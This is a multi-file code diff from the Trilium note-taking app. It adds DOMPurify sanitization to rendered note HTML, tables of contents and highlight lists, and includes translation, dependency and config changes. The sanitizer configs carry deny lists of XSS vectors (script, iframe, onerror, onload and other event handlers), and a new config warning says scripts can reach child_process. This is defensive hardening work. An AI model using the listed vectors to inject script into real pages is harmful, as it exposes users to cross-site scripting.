ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
|
||||
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
|
||||
// Do not allow <style> or <script> tags
|
||||
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
|
||||
"base", "noscript", "template"],
|
||||
// Do not allow event handler attributes
|
||||
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
|
||||
"onblur", "onsubmit", "onreset", "onchange", "oninput",
|
||||
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
|
||||
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
|
||||
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
|
||||
"ondrag", "ondragend", "ondragenter", "ondragleave",
|
||||
"ondragover", "ondragstart", "ondrop", "onscroll",
|
||||
"oncopy", "oncut", "onpaste", "onanimationend",
|
||||
"onanimationiteration", "onanimationstart",
|
||||
"ontransitionend", "onpointerdown", "onpointerup",
|
||||
"onpointermove", "onpointerover", "onpointerout",
|
||||
"onpointerenter", "onpointerleave", "ontouchstart",
|
||||
"ontouchend", "ontouchmove", "ontouchcancel"],
|
||||
// Allow data: URIs only for images (needed for inline images)
|
||||
ADD_DATA_URI_TAGS: ["img"],
|
||||
// Return a string
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false,
|
||||
// Keep the document structure intact
|
||||
WHOLE_DOCUMENT: false,
|
||||
// Allow target attribute on links
|
||||
ADD_TAGS: []
|
||||
};
|
||||
|
||||
// Configure a DOMPurify hook to handle data-* attributes more broadly
|
||||
// since CKEditor uses many custom data attributes.
|
||||
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
|
||||
// Allow all data-* attributes
|
||||
if (data.attrName.startsWith("data-")) {
|
||||
data.forceKeepAttr = true;
|
||||
}
|
||||
});
|
||||
|
||||
/**
|
||||
* Sanitizes HTML content for safe rendering in the DOM.
|
||||
*
|
||||
* This function should be called on all user-provided HTML content before
|
||||
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
|
||||
* or Element.innerHTML.
|
||||
*
|
||||
* The sanitizer preserves rich-text formatting produced by CKEditor
|
||||
* (bold, italic, links, tables, images, code blocks, etc.) while
|
||||
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
|
||||
*
|
||||
* @param dirtyHtml - The untrusted HTML string to sanitize.
|
||||
* @returns A sanitized HTML string safe for DOM insertion.
|
||||
*/
|
||||
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
|
||||
if (!dirtyHtml) {
|
||||
return dirtyHtml;
|
||||
}
|
||||
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
|
||||
}
|
||||
|
||||
export default {
|
||||
sanitizeNoteContentHtml
|
||||
};
|
||||
@@ -1,4 +1,3 @@
|
||||
import { t } from "./i18n.js";
|
||||
import utils, { isShare } from "./utils.js";
|
||||
import ValidationError from "./validation_error.js";
|
||||
|
||||
@@ -33,7 +32,8 @@ async function getHeaders(headers?: Headers) {
|
||||
return {};
|
||||
}
|
||||
|
||||
const activeNoteContext = glob.appContext?.tabManager ? glob.appContext.tabManager.getActiveContext() : null;
|
||||
const appContext = (await import("../components/app_context.js")).default;
|
||||
const activeNoteContext = appContext.tabManager ? appContext.tabManager.getActiveContext() : null;
|
||||
|
||||
// headers need to be lowercase because node.js automatically converts them to lower case
|
||||
// also avoiding using underscores instead of dashes since nginx filters them out by default
|
||||
@@ -344,7 +344,6 @@ async function reportError(method: string, url: string, statusCode: number, resp
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
// Dynamic import to avoid circular dependency (toast → app_context → options → server).
|
||||
const toastService = (await import("./toast.js")).default;
|
||||
|
||||
const messageStr = (typeof message === "string" ? message : JSON.stringify(message)) || "-";
|
||||
@@ -358,6 +357,7 @@ async function reportError(method: string, url: string, statusCode: number, resp
|
||||
...response
|
||||
});
|
||||
} else {
|
||||
const { t } = await import("./i18n.js");
|
||||
if (statusCode === 400 && (url.includes("%23") || url.includes("%2F"))) {
|
||||
toastService.showPersistent({
|
||||
id: "trafik-blocked",
|
||||
@@ -371,7 +371,8 @@ async function reportError(method: string, url: string, statusCode: number, resp
|
||||
t("server.unknown_http_error_content", { statusCode, method, url, message: messageStr }),
|
||||
15_000);
|
||||
}
|
||||
window.logError(`${statusCode} ${method} ${url} - ${message}`);
|
||||
const { logError } = await import("./ws.js");
|
||||
logError(`${statusCode} ${method} ${url} - ${message}`);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -455,7 +455,9 @@ export function openInAppHelpFromUrl(inAppHelpPage: string) {
|
||||
export async function openInReusableSplit(targetNoteId: string, targetViewMode: ViewMode, openOpts: {
|
||||
hoistedNoteId?: string;
|
||||
} = {}) {
|
||||
const activeContext = glob.appContext?.tabManager?.getActiveContext();
|
||||
// Dynamic import to avoid import issues in tests.
|
||||
const appContext = (await import("../components/app_context.js")).default;
|
||||
const activeContext = appContext.tabManager.getActiveContext();
|
||||
if (!activeContext) {
|
||||
return;
|
||||
}
|
||||
@@ -465,7 +467,7 @@ export async function openInReusableSplit(targetNoteId: string, targetViewMode:
|
||||
if (!existingSubcontext) {
|
||||
// The target split is not already open, open a new split with it.
|
||||
const { ntxId } = subContexts[subContexts.length - 1];
|
||||
glob.appContext?.triggerCommand("openNewNoteSplit", {
|
||||
appContext.triggerCommand("openNewNoteSplit", {
|
||||
ntxId,
|
||||
notePath: targetNoteId,
|
||||
hoistedNoteId: openOpts.hoistedNoteId,
|
||||
|
||||
@@ -1,15 +1,13 @@
|
||||
import { WebSocketMessage } from "@triliumnext/commons";
|
||||
|
||||
import appContext from "../components/app_context.js";
|
||||
import type { EntityChange } from "../server_types.js";
|
||||
import bundleService from "./bundle.js";
|
||||
import froca from "./froca.js";
|
||||
import frocaUpdater from "./froca_updater.js";
|
||||
import { t } from "./i18n.js";
|
||||
import options from "./options.js";
|
||||
import server from "./server.js";
|
||||
import toast from "./toast.js";
|
||||
import utils from "./utils.js";
|
||||
import toastService from "./toast.js";
|
||||
import server from "./server.js";
|
||||
import options from "./options.js";
|
||||
import frocaUpdater from "./froca_updater.js";
|
||||
import appContext from "../components/app_context.js";
|
||||
import { t } from "./i18n.js";
|
||||
import type { EntityChange } from "../server_types.js";
|
||||
import { WebSocketMessage } from "@triliumnext/commons";
|
||||
import toast from "./toast.js";
|
||||
|
||||
type MessageHandler = (message: WebSocketMessage) => void;
|
||||
let messageHandlers: MessageHandler[] = [];
|
||||
@@ -128,14 +126,20 @@ async function handleMessage(event: MessageEvent<any>) {
|
||||
} else if (message.type === "frontend-update") {
|
||||
await executeFrontendUpdate(message.data.entityChanges);
|
||||
} else if (message.type === "sync-hash-check-failed") {
|
||||
toast.showError(t("ws.sync-check-failed"), 60000);
|
||||
toastService.showError(t("ws.sync-check-failed"), 60000);
|
||||
} else if (message.type === "consistency-checks-failed") {
|
||||
toast.showError(t("ws.consistency-checks-failed"), 50 * 60000);
|
||||
toastService.showError(t("ws.consistency-checks-failed"), 50 * 60000);
|
||||
} else if (message.type === "api-log-messages") {
|
||||
appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
|
||||
} else if (message.type === "toast") {
|
||||
toast.showMessage(message.message);
|
||||
toastService.showMessage(message.message);
|
||||
} else if (message.type === "execute-script") {
|
||||
// TODO: Remove after porting the file
|
||||
// @ts-ignore
|
||||
const bundleService = (await import("./bundle.js")).default as any;
|
||||
// TODO: Remove after porting the file
|
||||
// @ts-ignore
|
||||
const froca = (await import("./froca.js")).default as any;
|
||||
const originEntity = message.originEntityId ? await froca.getNote(message.originEntityId) : null;
|
||||
|
||||
bundleService.getAndExecuteBundle(message.currentNoteId, originEntity, message.script, message.params);
|
||||
@@ -157,7 +161,7 @@ function waitForEntityChangeId(desiredEntityChangeId: number) {
|
||||
|
||||
return new Promise<void>((res, rej) => {
|
||||
entityChangeIdReachedListeners.push({
|
||||
desiredEntityChangeId,
|
||||
desiredEntityChangeId: desiredEntityChangeId,
|
||||
resolvePromise: res,
|
||||
start: Date.now()
|
||||
});
|
||||
@@ -201,7 +205,7 @@ async function consumeFrontendUpdateData() {
|
||||
} else {
|
||||
console.log("nonProcessedEntityChanges causing the timeout", nonProcessedEntityChanges);
|
||||
|
||||
toast.showError(t("ws.encountered-error", { message: e.message }));
|
||||
toastService.showError(t("ws.encountered-error", { message: e.message }));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -368,7 +368,7 @@
|
||||
"calendar_root": "標記應用作為每日筆記的根。只應標記一個筆記。",
|
||||
"archived": "含有此標籤的筆記預設在搜尋結果中不可見(也適用於跳轉至、新增連結對話方塊等)。",
|
||||
"exclude_from_export": "筆記(及其子階層)不會包含在任何匯出的筆記中",
|
||||
"run": "定義腳本應運行的事件。可能的值包括:\n<ul>\n<li>frontendStartup - Trilium前端啟動時(或重新整理時),但不會在移動端執行。</li>\n<li>mobileStartup - Trilium前端啟動時(或重新整理時), 在行動端會執行。</li>\n<li>backendStartup - Trilium後端啟動時。</li>\n<li>hourly - 每小時運行一次。您可以使用附加標籤<code>runAtHour</code>指定小時。</li>\n<li>daily - 每天運行一次。</li>\n</ul>",
|
||||
"run": "定義腳本應運行的事件。可能的值包括:\n<ul>\n<li>frontendStartup - Trilium前端啟動時(或重新整理時),但不會在移動端執行。</li>\n<li>mobileStartup - Trilium前端啟動時(或重新整理時), 在行動端會執行。</li>\n<li>backendStartup - Trilium後端啟動時</li>\n<li>hourly - 每小時運行一次。您可以使用附加標籤<code>runAtHour</code>指定小時。</li>\n<li>daily - 每天運行一次</li>\n</ul>",
|
||||
"run_on_instance": "定義應在哪個 Trilium 實例上運行。預設為所有實例。",
|
||||
"run_at_hour": "應在哪個小時運行。應與<code>#run=hourly</code>一起使用。可以多次定義,以便一天內運行多次。",
|
||||
"disable_inclusion": "含有此標籤的腳本不會包含在父腳本執行中。",
|
||||
@@ -706,8 +706,7 @@
|
||||
"export_as_image": "匯出為圖片",
|
||||
"export_as_image_png": "PNG (點陣)",
|
||||
"export_as_image_svg": "SVG (向量)",
|
||||
"note_map": "筆記地圖",
|
||||
"view_ocr_text": "顯示 OCR 文字"
|
||||
"note_map": "筆記地圖"
|
||||
},
|
||||
"onclick_button": {
|
||||
"no_click_handler": "按鈕元件'{{componentId}}'沒有定義點擊時的處理方式"
|
||||
@@ -1197,28 +1196,12 @@
|
||||
},
|
||||
"images": {
|
||||
"images_section_title": "圖片",
|
||||
"download_images_automatically": "自動下載圖片",
|
||||
"download_images_description": "從貼上的 HTML 下載引用的線上圖片以便離線使用。",
|
||||
"enable_image_compression": "圖片壓縮",
|
||||
"max_image_dimensions": "最大圖片尺寸",
|
||||
"jpeg_quality_description": "建議範圍為 50–85。較低的數值可縮小檔案大小,較高的數值則能保留更多細節。",
|
||||
"max_image_dimensions_unit": "像素",
|
||||
"enable_image_compression_description": "在上傳或貼上圖片時壓縮並調整圖片大小。",
|
||||
"max_image_dimensions_description": "超過此尺寸的圖片將會自動調整大小。",
|
||||
"jpeg_quality": "JPEG 品質",
|
||||
"ocr_section_title": "文字擷取(OCR)",
|
||||
"ocr_related_content_languages": "內容語言(用於文字擷取)",
|
||||
"ocr_auto_process": "自動處理新檔案",
|
||||
"ocr_auto_process_description": "自動從新上傳或貼上的檔案中擷取文字。",
|
||||
"ocr_min_confidence": "最低信賴度",
|
||||
"ocr_confidence_description": "僅提取高於此信賴度閾值的文字。較低的閾值雖能包含更多文字,但準確度可能較低。",
|
||||
"batch_ocr_title": "處理現有檔案",
|
||||
"batch_ocr_description": "從筆記中的所有現有圖片、PDF 檔案及 Office 文件中擷取文字。根據檔案數量多寡,此過程可能需要一些時間。",
|
||||
"batch_ocr_start": "開始批次處理",
|
||||
"batch_ocr_starting": "開始批次處理…",
|
||||
"batch_ocr_progress": "正在處理 {{processed}} 個檔案,共 {{total}} 個檔案…",
|
||||
"batch_ocr_completed": "批次處理完成!已處理 {{processed}} 個檔案。",
|
||||
"batch_ocr_error": "批次處理期間發生錯誤:{{error}}"
|
||||
"download_images_automatically": "自動下載圖片以供離線使用。",
|
||||
"download_images_description": "貼上的 HTML 可能包含線上圖片的引用,Trilium 會找到這些引用並下載圖片,以便它們可以離線使用。",
|
||||
"enable_image_compression": "啟用圖片壓縮",
|
||||
"max_image_dimensions": "圖片的最大寬度 / 高度(超過此限制的圖片將會被縮放)。",
|
||||
"jpeg_quality_description": "JPEG 質量(10 - 最差質量,100 最佳質量,建議為 50 - 85)",
|
||||
"max_image_dimensions_unit": "像素"
|
||||
},
|
||||
"attachment_erasure_timeout": {
|
||||
"attachment_erasure_timeout": "附件清理超時",
|
||||
@@ -1514,8 +1497,7 @@
|
||||
"new-feature": "新增",
|
||||
"collections": "集合",
|
||||
"ai-chat": "AI 聊天",
|
||||
"spreadsheet": "試算表",
|
||||
"llm-chat": "AI 對話"
|
||||
"spreadsheet": "試算表"
|
||||
},
|
||||
"protect_note": {
|
||||
"toggle-on": "保護筆記",
|
||||
@@ -1884,7 +1866,7 @@
|
||||
},
|
||||
"content_language": {
|
||||
"title": "內文語言",
|
||||
"description": "選擇一種或多種語言作為唯讀或可編輯文字筆記的可選基本屬性,這將支援拼寫檢查、從右向左及文字擷取 (OCR) 等功能。"
|
||||
"description": "選擇一種或多種語言作為唯讀或可編輯文字筆記的可選基本屬性,這將支援拼寫檢查或從右向左之類的功能。"
|
||||
},
|
||||
"switch_layout_button": {
|
||||
"title_vertical": "將編輯面板移至底部",
|
||||
@@ -2064,9 +2046,7 @@
|
||||
"title": "實驗性選項",
|
||||
"disclaimer": "這些選項屬實驗性質,可能導致系統不穩定。請謹慎使用。",
|
||||
"new_layout_name": "新版面配置",
|
||||
"new_layout_description": "體驗全新版面配置,呈現更現代的外觀與更佳的使用體驗。在未來版本將進行大幅調整。",
|
||||
"llm_name": "AI / LLM 對話",
|
||||
"llm_description": "啟用由大語言模型驅動的 AI 聊天側邊欄及 LLM 聊天筆記。"
|
||||
"new_layout_description": "體驗全新版面配置,呈現更現代的外觀與更佳的使用體驗。在未來版本將進行大幅調整。"
|
||||
},
|
||||
"server": {
|
||||
"unknown_http_error_title": "與伺服器通訊錯誤",
|
||||
@@ -2249,121 +2229,6 @@
|
||||
"sample_user_journey": "使用者旅程",
|
||||
"sample_xy": "XY 圖表",
|
||||
"sample_venn": "韋恩圖",
|
||||
"sample_ishikawa": "魚骨圖",
|
||||
"sample_treeview": "樹狀視圖",
|
||||
"sample_wardley": "沃德利地圖"
|
||||
},
|
||||
"llm_chat": {
|
||||
"placeholder": "輸入訊息…",
|
||||
"send": "送出",
|
||||
"sending": "正在送出…",
|
||||
"empty_state": "請在下方輸入訊息,開啟對話。",
|
||||
"searching_web": "正在搜尋網頁…",
|
||||
"web_search": "網頁搜尋",
|
||||
"note_tools": "筆記存取",
|
||||
"sources": "來源",
|
||||
"sources_summary": "來自 {{sites}} 個網站的 {{count}} 個來源",
|
||||
"extended_thinking": "延伸思考",
|
||||
"legacy_models": "傳統模型",
|
||||
"thinking": "正在思考…",
|
||||
"thought_process": "思考過程",
|
||||
"tool_calls": "{{count}} 次工具調用",
|
||||
"input": "輸入",
|
||||
"result": "結果",
|
||||
"error": "錯誤",
|
||||
"tool_error": "失敗",
|
||||
"total_tokens": "{{total}} 個詞元",
|
||||
"tokens_detail": "{{prompt}} 提示詞 + {{completion}} 補全",
|
||||
"tokens_used": "{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元",
|
||||
"tokens_used_with_cost": "{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元(約 ${{cost}})",
|
||||
"tokens_used_with_model": "{{model}}:{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元",
|
||||
"tokens_used_with_model_and_cost": "{{model}}:{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元(約 ${{cost}})",
|
||||
"tokens": "詞元",
|
||||
"context_used": "已使用 {{percentage}}%",
|
||||
"note_context_enabled": "點擊以禁用筆記上下文:{{title}}",
|
||||
"note_context_disabled": "點擊將當前筆記納入上下文",
|
||||
"no_provider_message": "尚未設定任何 AI 服務提供者。請新增一個以開始聊天。",
|
||||
"add_provider": "新增 AI 提供者"
|
||||
},
|
||||
"ocr": {
|
||||
"processing_complete": "OCR 處理已完成。",
|
||||
"processing_failed": "無法啟動 OCR 處理",
|
||||
"text_filtered_low_confidence": "OCR 偵測到的信賴度為 {{confidence}}%,但因您的最低閾值設定為 {{threshold}}%,故該結果已被捨棄。",
|
||||
"open_media_settings": "開啟設定",
|
||||
"view_extracted_text": "檢視擷取的文字 (OCR)",
|
||||
"extracted_text": "已擷取的文字 (OCR)",
|
||||
"extracted_text_title": "已擷取的文字 (OCR)",
|
||||
"loading_text": "正在載入 OCR 文字…",
|
||||
"no_text_available": "無 OCR 文字可用",
|
||||
"no_text_explanation": "此筆記尚未經過 OCR 文字擷取處理,或未找到任何文字。",
|
||||
"failed_to_load": "載入 OCR 文字失敗",
|
||||
"process_now": "處理 OCR",
|
||||
"processing": "正在處理…",
|
||||
"processing_started": "OCR 處理已開始。請稍候片刻並重新整理頁面。"
|
||||
},
|
||||
"mind-map": {
|
||||
"addChild": "新增子節點",
|
||||
"addParent": "新增父節點",
|
||||
"addSibling": "新增同級節點",
|
||||
"removeNode": "刪除節點",
|
||||
"focus": "專注模式",
|
||||
"cancelFocus": "退出專注模式",
|
||||
"moveUp": "上移",
|
||||
"moveDown": "下移",
|
||||
"link": "連結",
|
||||
"linkBidirectional": "雙向連結",
|
||||
"clickTips": "請點擊目標節點",
|
||||
"summary": "摘要"
|
||||
},
|
||||
"llm": {
|
||||
"settings_title": "AI / LLM",
|
||||
"settings_description": "設定 AI 及大型語言模型整合。",
|
||||
"feature_not_enabled": "請前往「設定」→「進階」→「實驗性功能」啟用 LLM 實驗性功能,即可使用 AI 整合。",
|
||||
"add_provider": "新增提供者",
|
||||
"add_provider_title": "新增 AI 提供者",
|
||||
"configured_providers": "已設定的提供者",
|
||||
"no_providers_configured": "尚未設定任何提供者。",
|
||||
"provider_name": "名稱",
|
||||
"provider_type": "提供者",
|
||||
"actions": "動作",
|
||||
"delete_provider": "刪除",
|
||||
"delete_provider_confirmation": "您確定要刪除提供者 \"{{name}}\" 嗎?",
|
||||
"api_key": "API 金鑰",
|
||||
"api_key_placeholder": "請輸入您的 API 金鑰",
|
||||
"cancel": "取消",
|
||||
"mcp_title": "MCP(模型上下文協定)",
|
||||
"mcp_enabled": "MCP 伺服器",
|
||||
"mcp_enabled_description": "公開一個模型上下文協定 (MCP) 端點,以便人工智慧編程助手(例如 Claude Code、GitHub Copilot)能夠讀取並修改您的筆記。此端點僅限從 localhost 存取。",
|
||||
"mcp_endpoint_title": "端點網址",
|
||||
"mcp_endpoint_description": "將此網址新增至您的 AI 助理的 MCP 設定中",
|
||||
"tools": {
|
||||
"search_notes": "搜尋筆記",
|
||||
"get_note": "取得筆記",
|
||||
"get_note_content": "取得筆記內容",
|
||||
"update_note_content": "更新筆記內容",
|
||||
"append_to_note": "追加至筆記",
|
||||
"create_note": "建立筆記",
|
||||
"get_attributes": "取得屬性",
|
||||
"get_attribute": "取得屬性",
|
||||
"set_attribute": "設定屬性",
|
||||
"delete_attribute": "移除屬性",
|
||||
"get_child_notes": "取得子筆記",
|
||||
"get_subtree": "取得子階層",
|
||||
"load_skill": "載入技能",
|
||||
"web_search": "網頁搜尋",
|
||||
"note_in_parent": "<Note/> 於 <Parent/>",
|
||||
"get_attachment": "取得附件",
|
||||
"get_attachment_content": "讀取附件內容"
|
||||
}
|
||||
},
|
||||
"sidebar_chat": {
|
||||
"title": "AI 對話",
|
||||
"launcher_title": "打開 AI 對話",
|
||||
"new_chat": "開始新對話",
|
||||
"save_chat": "將對話保存至筆記",
|
||||
"empty_state": "開始會話",
|
||||
"history": "對話歷史",
|
||||
"recent_chats": "最近的對話",
|
||||
"no_chats": "無先前的對話記錄"
|
||||
"sample_ishikawa": "魚骨圖"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -82,7 +82,6 @@ export const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, (() => Promise<{ de
|
||||
hi: () => import("@fullcalendar/core/locales/hi"),
|
||||
ga: null,
|
||||
cn: () => import("@fullcalendar/core/locales/zh-cn"),
|
||||
cs: () => import("@fullcalendar/core/locales/cs"),
|
||||
tw: () => import("@fullcalendar/core/locales/zh-tw"),
|
||||
ro: () => import("@fullcalendar/core/locales/ro"),
|
||||
ru: () => import("@fullcalendar/core/locales/ru"),
|
||||
|
||||
@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
|
||||
import type { PrintReport } from "../../../print";
|
||||
import content_renderer from "../../../services/content_renderer";
|
||||
import froca from "../../../services/froca";
|
||||
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
|
||||
import type { ViewModeProps } from "../interface";
|
||||
import { filterChildNotes, useFilteredNoteIds } from "./utils";
|
||||
|
||||
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
|
||||
<h1>{note.title}</h1>
|
||||
|
||||
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
|
||||
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
|
||||
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { NoteType } from "@triliumnext/commons";
|
||||
import FNote from "../../../entities/fnote";
|
||||
import contentRenderer from "../../../services/content_renderer";
|
||||
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
|
||||
import { ProgressChangedFn } from "../interface";
|
||||
|
||||
type DangerouslySetInnerHTML = { __html: string; };
|
||||
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
|
||||
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
|
||||
noChildrenList: true
|
||||
});
|
||||
return { __html: $renderedContent.html() };
|
||||
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
|
||||
}
|
||||
|
||||
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {
|
||||
|
||||
@@ -13,6 +13,27 @@ import katex from "../services/math.js";
|
||||
import options from "../services/options.js";
|
||||
import OnClickButtonWidget from "./buttons/onclick_button.js";
|
||||
import RightPanelWidget from "./right_panel_widget.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for highlight list items. Only allows inline
|
||||
* formatting tags that appear in highlighted text (bold, italic, underline,
|
||||
* colored/background-colored spans, KaTeX math output).
|
||||
*/
|
||||
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS: [
|
||||
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
|
||||
"code", "mark", "span", "abbr", "small", "a",
|
||||
// KaTeX rendering output elements
|
||||
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
|
||||
"msub", "mfrac", "mover", "munder", "munderover",
|
||||
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
|
||||
"mspace", "annotation"
|
||||
],
|
||||
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false
|
||||
};
|
||||
|
||||
const TPL = /*html*/`<div class="highlights-list-widget">
|
||||
<style>
|
||||
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
|
||||
|
||||
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
|
||||
// If the previous element is connected to this element in HTML, then concatenate them into one.
|
||||
$highlightsList.children().last().append(subHtml);
|
||||
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
|
||||
} else {
|
||||
// TODO: can't be done with $(subHtml).text()?
|
||||
//Can’t remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
|
||||
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
|
||||
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
|
||||
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
|
||||
const $lastLi = $highlightsList.children("li").last();
|
||||
$lastLi.append(await this.replaceMathTextWithKatax(substring));
|
||||
$lastLi.append(subHtml);
|
||||
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
|
||||
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
|
||||
} else {
|
||||
$highlightsList.append(
|
||||
$("<li>")
|
||||
.html(subHtml)
|
||||
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
|
||||
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import DOMPurify from "dompurify";
|
||||
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
|
||||
|
||||
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
|
||||
|
||||
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
|
||||
|
||||
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
|
||||
@@ -37,7 +39,7 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
|
||||
}
|
||||
|
||||
return {
|
||||
__html: html as string
|
||||
__html: sanitizeNoteContentHtml(html as string)
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
|
||||
import appContext, { type EventData } from "../components/app_context.js";
|
||||
import katex from "../services/math.js";
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for ToC headings. Only allows inline formatting
|
||||
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
|
||||
* Blocks all event handlers, script tags, and dangerous attributes.
|
||||
*/
|
||||
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS: [
|
||||
"b", "i", "em", "strong", "s", "del", "sub", "sup",
|
||||
"code", "mark", "span", "abbr", "small",
|
||||
// KaTeX rendering output elements
|
||||
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
|
||||
"msub", "mfrac", "mover", "munder", "munderover",
|
||||
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
|
||||
"mspace", "annotation"
|
||||
],
|
||||
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false
|
||||
};
|
||||
|
||||
const TPL = /*html*/`<div class="toc-widget">
|
||||
<style>
|
||||
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
|
||||
//
|
||||
|
||||
const headingText = await this.replaceMathTextWithKatax(m[2]);
|
||||
const $itemContent = $('<div class="item-content">').html(headingText);
|
||||
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
|
||||
const $li = $("<li>").append($itemContent)
|
||||
.on("click", () => this.jumpToHeading(headingIndex));
|
||||
$ols[$ols.length - 1].append($li);
|
||||
|
||||
@@ -4,7 +4,6 @@ import type { DISPLAYABLE_LOCALE_IDS } from "@triliumnext/commons";
|
||||
export const LANGUAGE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, Language["code"] | null> = {
|
||||
ar: "ar-SA",
|
||||
cn: "zh-CN",
|
||||
cs: "cs-CZ",
|
||||
de: "de-DE",
|
||||
en: "en",
|
||||
"en-GB": "en",
|
||||
|
||||
@@ -39,12 +39,12 @@
|
||||
"@electron-forge/maker-zip": "7.11.1",
|
||||
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
|
||||
"@electron-forge/plugin-fuses": "7.11.1",
|
||||
"@electron/fuses": "2.1.1",
|
||||
"@electron/fuses": "1.8.0",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
"@triliumnext/server": "workspace:*",
|
||||
"@types/electron-squirrel-startup": "1.0.2",
|
||||
"copy-webpack-plugin": "14.0.0",
|
||||
"electron": "41.1.1",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"electron": "40.8.5",
|
||||
"prebuild-install": "7.1.3"
|
||||
}
|
||||
}
|
||||
@@ -67,3 +67,13 @@ oauthIssuerName=
|
||||
# Set the issuer icon for OAuth/OpenID authentication
|
||||
# This is the icon of the service that will be used to verify the user's identity
|
||||
oauthIssuerIcon=
|
||||
|
||||
[Scripting]
|
||||
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
|
||||
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
|
||||
# all users with admin-level access to the server.
|
||||
# Desktop builds override this to true automatically.
|
||||
enabled=false
|
||||
|
||||
# Enable the SQL console (allows raw SQL execution against the database)
|
||||
sqlConsoleEnabled=false
|
||||
|
||||
@@ -86,24 +86,7 @@
|
||||
"copy-without-formatting": "Kopírovat vybraný text bez formátování",
|
||||
"force-save-revision": "Vynutit vytvoření / uložení nové revize aktivní poznámky",
|
||||
"export-as-pdf": "Exportovat současnou poznámku jako PDF",
|
||||
